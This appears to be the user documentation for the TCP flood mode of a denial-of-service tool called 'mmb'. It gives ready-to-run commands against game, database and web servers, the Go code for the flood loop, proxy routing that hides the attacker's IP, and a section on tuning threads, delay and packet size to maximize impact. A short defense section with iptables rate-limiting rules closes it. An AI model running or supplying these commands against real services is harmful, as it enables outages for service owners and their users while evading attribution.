TCP Flood

Layer 4 TCP connection flood with random payload bursts

Overview

TCP Flood is a Layer 4 (transport layer) denial of service attack that floods a target with TCP connections and random data packets. Unlike HTTP attacks that target application logic, TCP Flood attacks the network layer by exhausting connection tables, bandwidth, and firewall resources.

This attack operates at the TCP level and works against any TCP service, not just HTTP servers.

How it works

The TCP Flood attack executes the following sequence:

1. Connection Establishment: Opens TCP connection to target host:port
2. Random Payload Generation: Creates buffer of cryptographically random bytes
3. Initial Burst: Sends first payload packet with 2-second write deadline
4. Additional Bursts: Sends 1-4 additional random payloads in rapid succession
5. Connection Close: Closes connection immediately after bursts
6. Repeat: Each thread continuously opens new connections

Attack pattern

When to use

TCP Flood is effective for:

• Firewall stress testing: Test firewall’s connection tracking capacity
• Load balancer testing: Verify load balancer handles connection churn
• Network infrastructure testing: Stress test routers, switches, and network appliances
• Non-HTTP services: Attack game servers, databases, or any TCP service
• Connection table exhaustion: Fill up server’s connection tracking table
• Bandwidth saturation: Consume upstream/downstream bandwidth

This attack generates significant network traffic and can affect network infrastructure. Only use on networks you own or have permission to test.

Usage

Basic TCP Flood attack:

mmb attack tcp_flood tcp://example.com:80

Attacking a game server:

mmb attack tcp_flood tcp://gameserver.example.com:27015 \
  --duration 60 \
  --delay 100 \
  --packet-size 1024 \
  --threads 32

High-intensity attack:

mmb attack tcp_flood tcp://target.example.com:443 \
  --duration 300 \
  --delay 50 \
  --packet-size 2048 \
  --threads 64 \
  --verbose

Parameters

target · string · required

Target in format tcp://hostname:port or hostname:port. Protocol can be omitted.

--duration · int · default: "60"

Attack duration in seconds

--delay · int · default: "500"

Delay between connection attempts in milliseconds per thread

--packet-size · int · default: "512"

Size of random payload per burst. Defaults to 512 bytes if not specified or ≤ 0.

--threads · int · default: "0"

Number of concurrent attack threads (0 = number of CPU cores)

--verbose · boolean · default: "false"

Show detailed logs for each connection attempt

--no-proxy · boolean · default: "false"

Allow running without proxies (exposes your IP)

Expected behavior

Console output

Standard mode:

Starting tcp_flood against tcp://example.com:80 with 75 proxies
22:45:10 PPS:234 Total:234 Proxies:75
22:45:11 PPS:289 Total:523 Proxies:75
22:45:12 PPS:267 Total:790 Proxies:75

Verbose mode:

Starting tcp_flood against tcp://example.com:80 with 75 proxies
Verbose mode enabled - showing detailed attack logs
22:45:10 PPS:234 Total:234 Proxies:75 [SOCKS5 proxy.example.net:1080 -> tcp://example.com:80]
22:45:11 PPS:289 Total:523 Proxies:75 [SOCKS5 proxy2.example.net:1080 -> tcp://example.com:80]

Network behavior

• Connection lifecycle: Connect → Send bursts → Close (short-lived)
• Payload randomness: Uses crypto/rand for unpredictable data
• Burst count: 1-4 additional bursts per connection (random)
• Write timeout: 2 seconds per send operation
• Total data sent: packet-size * (1 + burst_count) bytes per connection

Technical implementation

Implementation details from internal/attacks/tcp/flood.go:17-55:

• Dialer: Uses DialedTCPClient from internal/netutil
• Randomness: Cryptographically secure random via crypto/rand
• Error handling: Silently ignores connection and write errors
• Burst calculation: min(3, 1 + randIntn(3)) = 1-4 bursts
• Proxy support: Routes through SOCKS/HTTP proxies when available
• Context awareness: Respects cancellation signals

Code flow

// 1. Parse target
host := tn.Hostname()
port := tn.PortNum()

// 2. Establish connection via proxy
conn, err := netutil.DialedTCPClient(ctx, "tcp", host, port, pptr)

// 3. Generate random payload
size := params.PacketSize
if size <= 0 {
    size = 512
}
buf := make([]byte, size)
rand.Read(buf)

// 4. Send bursts
conn.SetWriteDeadline(time.Now().Add(2 * time.Second))
conn.Write(buf)

bursts := minInt(3, 1+randIntn(3))
for i := 0; i < bursts; i++ {
    rand.Read(buf)
    conn.Write(buf)
}

// 5. Close
conn.Close()

Performance characteristics

Throughput optimization

• Lower delay = more connections per second
• More threads = higher aggregate connection rate
• Larger packet-size = more bandwidth consumed per connection
• More proxies = better distribution and harder to block

Example: 32 threads, 100ms delay, 1024-byte packets

• Connections/sec: ~320 (32 threads × 10 conn/sec)
• Bandwidth: ~1.3-1.6 MB/sec (accounting for bursts)

Resource usage

• CPU: Low (mainly network I/O wait)
• Memory: ~4KB per thread for buffers
• Network: Depends on packet-size and delay
• File descriptors: One per active connection (short-lived)

Proxy considerations

• SOCKS5: Recommended for TCP proxying
• HTTP CONNECT: Also supported
• Proxy overhead: ~100-200ms additional latency
• Proxy health: Failed proxies are silently skipped

Attack effectiveness factors

Target vulnerabilities

Vulnerable targets

• Servers without connection rate limiting
• Services with small connection tables
• Unoptimized firewalls/NAT devices
• Bandwidth-constrained networks
• Applications that process random data

Resistant targets

• SYN cookies enabled (Linux)
• Connection rate limiting in place
• DDoS mitigation services (Cloudflare, etc.)
• High-capacity firewalls
• Services that immediately drop invalid data

Maximizing impact

1. Tune delay for optimal rate

   Start with 500ms, reduce to 50-100ms for high-rate attacks.

2. Scale threads appropriately

   Use 16-64 threads for most targets. Higher thread counts may saturate your own network.

3. Adjust packet size

   • Small (128-512 bytes): More connections, less bandwidth
   • Large (2048-4096 bytes): Fewer connections, more bandwidth
4. Use quality proxies

   SOCKS5 proxies with low latency and high bandwidth are ideal.

Defense mechanisms

If you’re protecting against TCP Flood attacks:

• SYN cookies: Enable at OS level to mitigate SYN floods
• Connection rate limiting: Limit new connections per IP per second
• Connection table tuning: Increase nf_conntrack_max on Linux
• Firewall rules: Drop packets from known malicious sources
• TCP timeout reduction: Lower tcp_fin_timeout to free resources faster
• DDoS mitigation: Use services like Cloudflare, AWS Shield, or Arbor

Example iptables rules

# Limit new connections to 10/sec per IP
iptables -A INPUT -p tcp --dport 80 -m state --state NEW \
  -m recent --set
iptables -A INPUT -p tcp --dport 80 -m state --state NEW \
  -m recent --update --seconds 1 --hitcount 10 -j DROP

Target examples

HTTP/HTTPS servers

mmb attack tcp_flood tcp://webserver.example.com:443

Game servers

# Counter-Strike server
mmb attack tcp_flood tcp://csgo.example.com:27015

# Minecraft server  
mmb attack tcp_flood tcp://minecraft.example.com:25565

Database servers

# MySQL
mmb attack tcp_flood tcp://db.example.com:3306

# PostgreSQL
mmb attack tcp_flood tcp://db.example.com:5432

Custom services

# Any TCP service on any port
mmb attack tcp_flood tcp://api.example.com:8080

Related attack methods

HTTP Flood

Layer 7 HTTP request flood

Minecraft Ping

Specialized Minecraft server attack